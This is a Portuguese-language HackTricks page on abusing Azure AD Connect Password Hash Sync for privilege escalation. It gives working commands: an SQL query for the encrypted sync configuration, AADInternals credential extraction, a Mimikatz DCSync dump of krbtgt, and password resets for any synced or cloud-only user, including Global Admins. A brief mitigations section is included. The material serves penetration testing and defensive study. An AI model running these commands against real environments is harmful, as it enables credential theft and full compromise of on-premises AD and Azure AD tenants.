Az - PHS - Password Hash Sync

Support HackTricks

Informações Básicas

Dos documentos: Password hash synchronization é um dos métodos de login usados para realizar identidade híbrida. Azure AD Connect sincroniza um hash, do hash, da senha de um usuário de uma instância do Active Directory local para uma instância do Azure AD baseada na nuvem.

É o método mais comum usado por empresas para sincronizar um AD local com o Azure AD.

Todos os usuários e um hash dos hashes de senha são sincronizados do local para o Azure AD. No entanto, senhas em texto claro ou os hashes originais não são enviados para o Azure AD. Além disso, grupos de segurança integrados (como administradores de domínio...) não são sincronizados com o Azure AD.

A sincronização de hashes ocorre a cada 2 minutos. No entanto, por padrão, expiração de senha e expiração de conta não são sincronizadas no Azure AD. Portanto, um usuário cuja senha local está expirada (não alterada) pode continuar a acessar recursos do Azure usando a senha antiga.

Quando um usuário local deseja acessar um recurso do Azure, a autenticação ocorre no Azure AD.

PHS é necessário para recursos como Identity Protection e AAD Domain Services.

Pivoting

Quando o PHS é configurado, algumas contas privilegiadas são automaticamente criadas:

  • A conta MSOL_<installationID> é automaticamente criada no AD local. Esta conta recebe uma função de Directory Synchronization Accounts (veja documentação), o que significa que ela tem permissões de replicação (DCSync) no AD local.

  • Uma conta Sync_<name of on-prem ADConnect Server>_installationID é criada no Azure AD. Esta conta pode redefinir a senha de QUALQUER usuário (sincronizado ou apenas na nuvem) no Azure AD.

Senhas das duas contas privilegiadas anteriores são armazenadas em um servidor SQL no servidor onde Azure AD Connect está instalado. Administradores podem extrair as senhas desses usuários privilegiados em texto claro. O banco de dados está localizado em C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.

É possível extrair a configuração de uma das tabelas, sendo uma delas criptografada:

SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;

A configuração criptografada é criptografada com DPAPI e contém as senhas do usuário MSOL_* no AD local e a senha de Sync_* no AzureAD. Portanto, comprometendo essas, é possível elevar privilégios para o AD e para o AzureAD.

Você pode encontrar uma visão geral completa de como essas credenciais são armazenadas e descriptografadas nesta palestra.

Encontrando o servidor Azure AD connect

Se o servidor onde o Azure AD connect está instalado estiver no domínio (recomendado nos documentos), é possível encontrá-lo com:

# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl

#Azure AD module
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}

Abusando de MSOL_*

A sincronização de hash de senha (PHS) é um recurso do Azure AD Connect que permite a sincronização de hashes de senha de um Active Directory local para o Azure AD. Isso permite que os usuários usem as mesmas credenciais para acessar recursos locais e baseados em nuvem. No entanto, se um invasor conseguir comprometer a conta MSOL_ no Active Directory local, ele poderá abusar dessa conta para obter acesso a recursos no Azure AD.

Passos para abusar da conta MSOL_

  1. Comprometer a conta MSOL_: O primeiro passo é comprometer a conta MSOL_ no Active Directory local. Isso pode ser feito através de várias técnicas de hacking, como phishing, exploração de vulnerabilidades ou credenciais vazadas.

  2. Obter hashes de senha sincronizados: Uma vez que a conta MSOL_ esteja comprometida, o invasor pode obter os hashes de senha sincronizados do Active Directory local. Esses hashes podem ser usados para autenticar no Azure AD.

  3. Autenticar no Azure AD: Com os hashes de senha sincronizados, o invasor pode autenticar no Azure AD e obter acesso a recursos baseados em nuvem. Isso pode incluir e-mails, arquivos, aplicativos e outros dados sensíveis.

  4. Movimentação lateral: Depois de obter acesso ao Azure AD, o invasor pode realizar movimentação lateral para comprometer outras contas e recursos na nuvem. Isso pode incluir a exploração de permissões excessivas, a elevação de privilégios e a exploração de vulnerabilidades em aplicativos baseados em nuvem.

Mitigações

Para mitigar o risco de abuso da conta MSOL_, as seguintes medidas podem ser implementadas:

  • Monitoramento e alerta: Implementar monitoramento e alerta para atividades suspeitas associadas à conta MSOL_. Isso pode incluir tentativas de login, alterações de senha e outras atividades anômalas.

  • Segurança de senha: Garantir que a conta MSOL_ use uma senha forte e complexa. Além disso, implementar políticas de expiração de senha e autenticação multifator (MFA) para aumentar a segurança.

  • Segurança de rede: Implementar controles de segurança de rede para proteger o Active Directory local e o Azure AD. Isso pode incluir firewalls, segmentação de rede e outras medidas de segurança.

  • Auditoria e revisão: Realizar auditorias e revisões regulares das contas e permissões no Active Directory local e no Azure AD. Isso pode ajudar a identificar e remediar possíveis vulnerabilidades e riscos de segurança.

# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials

# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'

Você também pode usar adconnectdump para obter essas credenciais.

Abusando Sync_*

Comprometendo a conta Sync_* é possível redefinir a senha de qualquer usuário (incluindo Administradores Globais)

# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials

# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache

# Get global admins
Get-AADIntGlobalAdmins

# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId

# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose

# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)

É também possível modificar as senhas de apenas usuários cloud (mesmo que isso seja inesperado)

# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID

# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers

É também possível extrair a senha deste usuário.

Outra opção seria atribuir permissões privilegiadas a um service principal, o que o usuário Sync tem permissões para fazer, e então acessar esse service principal como uma forma de privesc.

Seamless SSO

É possível usar Seamless SSO com PHS, que é vulnerável a outros abusos. Verifique em:

Az - Seamless SSO

Referências

Support HackTricks

Last updated